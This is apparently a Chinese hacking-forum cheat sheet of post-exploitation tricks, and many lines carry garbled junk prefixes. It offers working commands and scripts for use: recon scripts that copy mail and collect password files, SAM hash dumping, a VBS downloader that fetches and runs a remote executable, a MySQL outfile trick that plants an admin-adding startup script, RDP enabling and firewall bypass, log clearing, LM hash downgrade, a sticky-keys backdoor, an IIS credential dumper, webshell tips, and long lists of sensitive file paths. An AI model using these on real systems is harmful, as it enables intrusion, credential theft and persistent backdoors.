# H0 c6 r' `0 G( ^7 O* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
- `$ ^9 }; U% t8 W*
calling nmount()
& w; e! A4 u: n+ @6 K& [
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
: V1 P5 [$ m% e+ B————————————————————————————
+ |3 r+ `: N$ r6 y1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
. ?- n) {! C% ?  o& s* B$ K0 y( y; balzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
7 M% D# {- J7 G9 j5 E0 @若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

9 s. ^5 Z: [  t/ m+ R$ X0 H, M$ C提权先执行systeminfo
  \' W+ g9 g( e' [5 R& h' M$ Otoken 漏洞补丁号 KB956572
6 I2 T$ n0 t# q3 ]$ J. qChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
. h6 ]3 M" w+ o5 ?——————————————
2、收集系统信息的脚本  
' L# S6 X! W# @  cfor window：
4 B" q1 Q+ Z) @+ i8 H' }
/ T$ r) n9 w8 K1 F3 b8 j@echo off
, O  l5 h9 K& fecho #########system info collection
2 Q1 y8 n& }2 A; Wsysteminfo
ver
hostname
net user
net localgroup
/ [9 S7 W( ^0 |5 d' i& U" Tnet localgroup administrators
net user guest
net user administrator

* {4 l( I2 H& L/ pecho #######at- with   atq#####
2 f+ D3 c; G  g  g+ }" wecho schtask /query

echo
" Q/ ^1 q8 K$ \# j/ W+ {echo ####task-list#############
! Y' w& |1 m: [$ Gtasklist /svc
* O, I' O6 }  l+ I1 b( u# p: W. ^echo
2 T) E+ E+ Z% F6 fecho ####net-work infomation
ipconfig/all
route print
arp -a
0 G6 x0 I% s8 y# t+ D8 F6 v; x5 X5 Snetstat -anipconfig /displaydns
& m: R$ O- T. g6 X  Wecho
4 {4 D0 {  }/ i2 X, |. j! Y6 z5 s+ eecho #######service############
, b6 k: W& }: D$ B4 z+ x& Q/ [% asc query type= service state= all
echo #######file-##############
: ~9 u) X& ~. _& [) Scd \
tree -F
for linux：
- m8 I! B8 T7 H
( V5 x( a- a4 f1 m+ F( X#!/bin/bash

& t8 ]* p) M* k2 a; F0 F. Yecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
3 J7 [6 \5 W6 C1 I. xecho #######basic infomation##
cat /proc/meminfo
& t# I/ j' Z- h9 O% _echo
cat /proc/cpuinfo
echo
: m- D- l, K: z2 R  xrpm -qa 2>/dev/null
######stole the mail......######
0 l/ t- {$ O5 L' I+ u$ Mcp -a /var/mail /tmp/getmail 2>/dev/null

' V$ s& [# c+ D1 ^8 r* I3 F
echo 'u'r id is' `id`
- O, c2 \/ k# g2 Xecho ###atq&crontab#####
( K7 r% p- M4 }/ oatq
crontab -l
1 h5 a8 s/ O, l* Zecho #####about var#####
set

' P4 }# `8 z+ O# wecho #####about network###
8 A( }1 z0 L1 |5 W####this is then point in pentest,but i am a new bird,so u need to add some in it
! @9 K# F) K' o1 Q& j" Z' ^! A  zcat /etc/hosts
, [! t; w( M  m3 w7 xhostname
ipconfig -a
$ j6 d& F9 {; R( Q3 aarp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
. r" @: O( b& y0 p
2 Y  G; T' z0 G0 Gfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
& H, w8 w3 V" }+ y! Y1 f9 ldone
' _  I8 r2 ?1 G6 e7 Y# N. g
: p6 |4 v* `' Z) g$ Blocate passwd >/tmp/password 2>/dev/null
sleep 5
/ e) u, c- x; r( S: C! D! Llocate password >>/tmp/password 2>/dev/null
/ K* k# _% T4 ]6 o- Z; R. b) Ssleep 5
* V/ g3 M, f4 h( Q. Flocate conf >/tmp/sysconfig 2>dev/null
5 N6 F% F& i/ G1 J/ l8 ^sleep 5
5 k1 \6 [9 B/ `& d; `; Slocate config >>/tmp/sysconfig 2>/dev/null
' W$ F# G2 T8 q7 a0 }sleep 5

' i) M5 o5 R$ R8 Z* x8 p! ~) S###maybe can use "tree /"###
& n3 x( q$ t" k: U/ H8 T# g. ]echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
3 s3 h. c3 y2 f! ]9 L! Z7 i* I' Trm -rf /tmp/getmail /tmp/password /tmp/sysconfig
) _1 G/ d& ^; b8 X( [——————————————
3、ethash 不免杀怎么获取本机hash。
; H0 ^+ n% z2 b首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4 l( n& I2 c1 r; ?1 w4、vbs 下载者
1
, R4 B6 n8 ~  K: F- b! \2 \3 ~0 u" C- F: Wecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
' D$ {: w/ }* Techo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
( M0 Z- h& q% m0 W+ D6 z) Wecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
8 }6 E. Z3 u' @* I$ Yecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
& l6 D# V. z! U, b( W6 \cftmon.vbs
  F4 f5 ?/ u. M% [' c( n# I4 b
( G8 o- e6 R+ d5 J3 o2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
& d9 k4 Q8 y9 Z" ]' C. es1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
6 R) g, _$ ]7 U9 B! TSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
$ F& s! y7 z, S0 m9 G6 p
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
( m$ k, K0 G  U
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
1 f2 k& H# a' z; {1 \- s" \5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
2 ^% U8 r1 h: U# P+ q" U2 p: S# qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
3 p1 l; `0 {; _REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
! f  j( j3 r& N& fREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 L1 h4 {0 C3 Q4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
% a3 G: e: o) H) g" _& tinsert into a values ("set wshshell=createobject (""wscript.shell"")");
1 ^* w6 w& W: {$ R. M, Dinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
' e  l& w1 q% Qinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
$ h4 h+ X6 c2 lselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
0 y7 l$ b% S: n. M————————————————————
% Q2 T/ P/ Z+ v, o+ S, U9 k, i7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
/ t; \8 W+ E7 {4 n/ }6 `8、for /d %i in (d:\freehost\*) do @echo %i
( f, X) J3 q( ?  c% r0 e) r
* L  r5 z, [2 P7 o% m/ t列出d的所有目录
  
  for /d %i in (???) do @echo %i

+ h" n  K% S6 f' J0 w, e把当前路径下文件夹的名字只有1-3个字母的打出来

# h1 o* h, d  O/ q; v" B, `2.for /r %i in (*.exe) do @echo %i
  
6 G/ n. l9 c0 ^9 h1 n" s以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

2 o1 A$ ]: J7 b( x' J6 }3.for /f %i in (c:\1.txt) do echo %i
8 y! A7 M2 d0 E3 U  v  
6 a5 p" q; F, x9 N: w  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
! {5 {7 J% b' p" P$ ?/ R
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
# o) ]6 U1 T7 |1.Administrator注册表备份:
; s: Y1 O1 d  I( }reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
# c& d9 j5 ?( a8 {) P6 `9 {4 i
8 I% }/ l) R) E% Y( N2.修改3389的默认端口:
6 j9 v9 z, m$ }+ Y. q$ i: sHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
: t  ]" x8 U& \
7 s3 o- y6 b$ j, B& Q3.清除3389登录记录:
- ~$ m+ N! m' D) z0 U$ k% ^reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
: ]- L/ \% C! ]5 @$ i
( F  a4 L5 g" |: @1 p) l& Y; j4 d4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

1 ^8 g& V6 f! r: r) S. S. w6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
- B# m* A. c. D& C或者
netsh ipsec dynamic set config ipsecexempt value=0
. \+ r0 O1 C1 z! \) a: ]/ [
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
$ F, V4 Z% z/ J4 @  ^
% ~" v  \0 x3 w, C8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
8 m: G! H$ N6 J+ z8 b3 D4 Rreg save hklm\sam c:\sam.hive
2 Q) n  L7 y6 J  t7 A: {- E. Breg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
* w" f9 Q3 g8 k) Y) M* u1 Jreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
  k! `0 x+ K. ^# ]6 [
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
0 S+ r/ H- x7 {% J; j5 H9 O2 d星外vbs(注：测试通过，好东西）
; K! c0 I  f- y/ ~: I5 e* r* g9 {4 vSet ObjService=GetObject("IIS://LocalHost/W3SVC")
" a% p9 c4 W# V; |For Each obj3w In objservice
" W0 \- Z- T* }% G  A9 schildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
# j4 h( B4 n9 N8 X# {- ?7 Tif IsNumeric(childObjectName)=true then
' O4 \7 u( J4 f7 Uset IIs=objservice.GetObject("IIsWebServer",childObjectName)
6 J' C, d; [  P' u( K# W- cif err.number<>0 then
exit for
) H4 [/ _3 H+ Z1 F& n6 Amsgbox("error!")
6 q. L/ q* I! Q- Y8 v  Nwscript.quit
end if
serverbindings=IIS.serverBindings
" b" f, n) U+ w$ k4 XServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
9 r* c5 o+ [1 V& |- ~" L3 o/ Ypass=iisweb.AnonymousUserPass
path=IIsWeb.path
5 y6 l9 d- O5 W4 Wlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
4 E4 z7 e* H) a8 @& `( }& Lwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
& |; f1 [  k0 B2 C1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
, S# ~! p0 z3 }7 o6 D% S" K) i. m2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
  d( m( V, L8 a& Y</OBJECT>
复制代码
. W/ @' b0 P- `* \然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
6 V9 q$ @. g; b# O" n* N1 X6 KPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
0 _' M% T0 P6 e6 a4 {# k, H2 k 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

7 |# O5 J4 d0 K% G3 r- x4 e0 C! C9 l==============================================================
( L7 S" F+ u# VLINUX常见路径：
$ r8 [9 [: s9 `
  p( n$ o7 H4 d7 q+ ~7 E/etc/passwd
/etc/shadow
/ H  y5 m6 _' q0 C" G( z" G/etc/fstab
! E% U0 S1 h6 ~" Z. E1 o4 M/etc/host.conf
- l( P+ C- j) j' T/etc/motd
1 u$ @+ [* H% b0 K& s/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
$ Z* S: i4 M$ g+ `& k/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
9 n! ^  _  j- d7 m& T) {/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
+ U, a8 n4 y+ b4 h4 d" M/usr/local/apache/htdocs/index.html
0 {( m" g8 K. Y' m2 t  F/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
" f& E. Q! M! n3 q3 H& ]/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
% }' x" I' x7 b1 c9 @  E% Z; F/usr/local/httpd2.2/htdocs/index.html
# g: u) A0 O% Q4 A+ k( D/tmp/apache/htdocs/index.html
8 O& L: M4 X, \# r: A" _4 N* I/tmp/apache/htdocs/index.php
8 L! v  m8 v7 t$ {+ G8 w1 ?  u/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
4 V) v. q5 L* M; Q+ j8 {5 {" u" o/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
+ m3 S# C0 P; |* M8 U8 f9 K. Y/www/htdocs/index.php
/www/htdocs/index.html
3 G5 o  u& q* s. C/usr/local/httpd/conf/httpd.conf
5 M8 X6 D& h$ J$ K/apache/apache/conf/httpd.conf
0 b) H) i3 T7 n* A' X- s: u/apache/apache2/conf/httpd.conf
& ]3 f: M! h6 u, H( u- ~: D/etc/apache/apache.conf
0 v  c/ J- `, v1 F1 k/etc/apache2/apache.conf
/etc/apache/httpd.conf
1 `7 Q/ h) P5 ^# ^/etc/apache2/httpd.conf
! U/ t, w) A/ `! w/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
9 j8 D6 H: a4 i; M/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
5 @$ c* Y/ }. j: g$ w0 C/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
5 k* g: S# e4 v0 `* M0 k2 y9 F/home/apache2/conf/httpd.conf
/ ?" g' `0 \& W0 Y( q" f9 j3 t/var/log/apache/error_log
+ T6 @7 j8 S4 F8 w. ]* w9 b) W/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
3 f$ c8 k+ e/ g' z8 Q  C  R6 v; s/var/www/logs/error_log
/var/www/logs/error.log
) K+ ~" F* B3 T/var/www/logs/access_log
/var/www/logs/access.log
7 ]% E& w" A8 C& a5 f/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
3 B' X3 o+ ]# M5 c5 O/ j/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
" r2 q! G9 b( U+ }; |( l/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
# y, n; u2 x; e- q: a; ]* [/etc/php.ini
4 G: i7 {, U2 I+ {0 ^/bin/php.ini
, H8 ~9 i! U9 p9 Z/etc/init.d/httpd
- z" z( y1 M0 x/ P, b2 }- A) {/ v/etc/init.d/mysql
8 c4 Q, ?- B: T2 C" F1 I/etc/httpd/php.ini
/usr/lib/php.ini
! Y6 D* O9 U  x! u+ _6 d2 @/usr/lib/php/php.ini
/usr/local/etc/php.ini
1 A1 g$ |- s- Y* K/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
) B  a7 L* v0 E- y2 Z5 ^& ^/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
" u9 q: S. B3 q5 W+ X, w/ y/usr/local/php5/lib/php.ini
" B8 l6 w5 A3 l/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
9 r, V) w3 M$ g* W9 m& n) V( f/usr/local/apache/conf/httpd.conf
- b( Q  s  X  q; R5 Q/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
9 ?5 e1 v1 H; R( M) |, Y/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
8 [3 s- h: G! B! P( X& R/etc/php/php4/php.ini
3 q3 ^8 z. x3 J: x1 |5 G/etc/php/apache/php.ini
/etc/php/apache2/php.ini
. w+ o( Z2 v" `6 O; i& ~$ @& w2 M/web/conf/php.ini
' Y- Y* I) B& x3 o7 v! |/usr/local/Zend/etc/php.ini
! a5 y+ H, P& l1 ]/ q% B0 d7 X/opt/xampp/etc/php.ini
- Q- C" g% j! I& O) T/var/local/www/conf/php.ini
; G; Y# Y* @8 r- N9 m/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
: |3 E* d" ]6 \$ i/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
5 c: `) Q8 ?+ F/php5/php.ini
/php4/php.ini
9 I( W( I  y" B, H6 F5 C/php/php.ini
* B4 _, Y& t& o& Y  p/PHP/php.ini
7 A  K* U% ]0 e/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
2 S& ^4 i- f9 x+ F) G; w& e* ^/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
# ~5 r  M7 P3 l. @. [/var/log/mysql.log
' `& y, Y6 P1 f' t: B& B3 t$ a/var/log/mysqlderror.log
5 ^% N; E) j! o" r6 O8 `/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
- {5 O1 L. k# E/ z9 W  O8 c* E/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
# q5 j# v: X& X/etc/my.cnf
# N% A1 u( B6 C% l) B/usr/local/cpanel/logs
: R8 s3 L2 h0 o0 ]/ H2 C) n2 P/usr/local/cpanel/logs/stats_log
7 o' i; t- I7 Z' m7 q6 T. i  M) R+ Z/usr/local/cpanel/logs/access_log
: k$ `1 `8 I- V1 D/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
4 ]3 L( T6 U4 |4 I0 U/ \/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
" S" j) u, f% v' [8 K
c:\windows\php.ini
c:\boot.ini
c:\1.txt
; k- G5 H  i0 zc:\a.txt
1 |; U$ Y8 _  x5 f- ]# ^, ]
& }8 Q" P1 B, u' _  K7 @) y& oc:\CMailServer\config.ini
+ V) N( p6 _8 G3 `. _/ xc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
! K: b3 S- s8 A" Nc:\program files\CMailServer\WebMail\index.asp
0 q* D4 i- z( K& f0 c9 \C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
6 v9 L6 O  e) E8 x) Y
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
8 V$ K9 ?: l$ P- `5 P5 b" W  D" _
( n) Q, O- n9 \) sC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
/ s* Z8 j, y3 bc:\www\index.html
c:\WWWROOT\index.html
" D8 W& J% }3 f9 c" j4 J) [c:\website\index.html
c:\web\index.asp
c:\www\index.asp
! A8 @) p& p2 I$ k0 a; zc:\wwwsite\index.asp
6 k: z+ g6 |' r" U0 U2 H7 Q8 `c:\WWWROOT\index.asp
4 ]+ l; @6 t# x' s# F' hc:\web\index.php
c:\www\index.php
4 A0 X: o" a8 a! b1 {& M$ D+ Zc:\WWWROOT\index.php
c:\WWWsite\index.php
8 z# f5 [0 e0 P$ b: g) l! ]& Pc:\web\default.html
c:\www\default.html
; I5 t+ v: C5 p- J! a2 ]c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
9 I  N  {2 ~' \$ t3 S, `% T1 S* Wc:\wwwsite\default.asp
c:\WWWROOT\default.asp
) j3 {0 W4 c4 T, {) r- Wc:\web\default.php
/ |3 Q2 ~2 V9 e3 u1 L/ W. \c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
0 ~" F; l/ X9 O0 ?$ _+ v$ ~- dC:\Program Files\Microsoft Office\OFFICE11\winword.exe
( ~$ [% F7 Y/ {3 U, I- nC:\Program Files\Microsoft Office\OFFICE12\winword.exe
3 ?1 |$ I2 d  u7 fC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
6 g; Z! |4 U) A2 i% l! C) \C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
3 u8 |$ Y* P0 kc:\ravbin\store.ini
' {" c+ k7 B/ g: |, Z, g; Cc:\rising.ini
& V9 q( ]# ~# l& MC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
: l$ m8 B8 \" w: w& ^" ^C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
! o( w* ]8 c# H: H; XC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
+ R! D+ z, A) }/ V3 G: aC:\Documents and Settings\Administrator\桌面\1.txt
$ e6 X: Y% u- e( @) J, kC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
# r) \/ q3 j- I# C( FC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
9 K# z% [( Q5 J" P6 J" w, XC:\Program Files\Symantec\SYMEVENT.INF
2 \8 D+ V: B* r2 JC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
$ s0 q1 H% c' ?4 tC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
! }- Q( U  L) s  {$ W- P& [3 PC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
0 H, M, h+ ]! q5 @; m% v3 ^* [, aC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
9 r2 U( g4 ~8 S6 o: h) o! uC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
8 u* H+ B2 T+ m- c( O0 C3 sC:\MySQL\MySQL Server 5.0\my.ini
) H$ \% K! v/ m% ?% {# J0 dC:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 O# q5 S; ]# g4 H$ yC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
9 s' _, x5 k! n% j! M1 ~C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
- ~7 c1 [3 x* `2 gC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
* ]- m3 i8 |8 F: Q7 Y9 }& f9 U/ e% }c:\MySQL\MySQL Server 4.1\bin\mysql.exe
: z. S2 i2 [9 t4 t$ E+ kc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
. j; u/ e0 ~4 w* ~: fC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
% B+ d; R. Z1 n- I! M' Z/ RC:\WINDOWS\system32\inetsrv\w3wp.exe
. v/ |# `% c* }8 e& w6 KC:\WINDOWS\system32\inetsrv\inetinfo.exe
( C# h: _+ O% Z  `/ G* X  y# rC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
" I9 y! n. a/ n( X9 ?  a& b* qC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
1 C6 g* G% l) v: j) A1 m2 G% wc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
6 t0 T( ~: s7 L8 E& O; @C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
) s& F9 V4 z7 o% x" ]: Pc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
0 q3 F! }' H9 Hc:\Apache2\php\license.txt
7 `2 M! L7 B% c5 {8 fC:\Program Files\Apache Group\Apache2\bin\Apache.exe
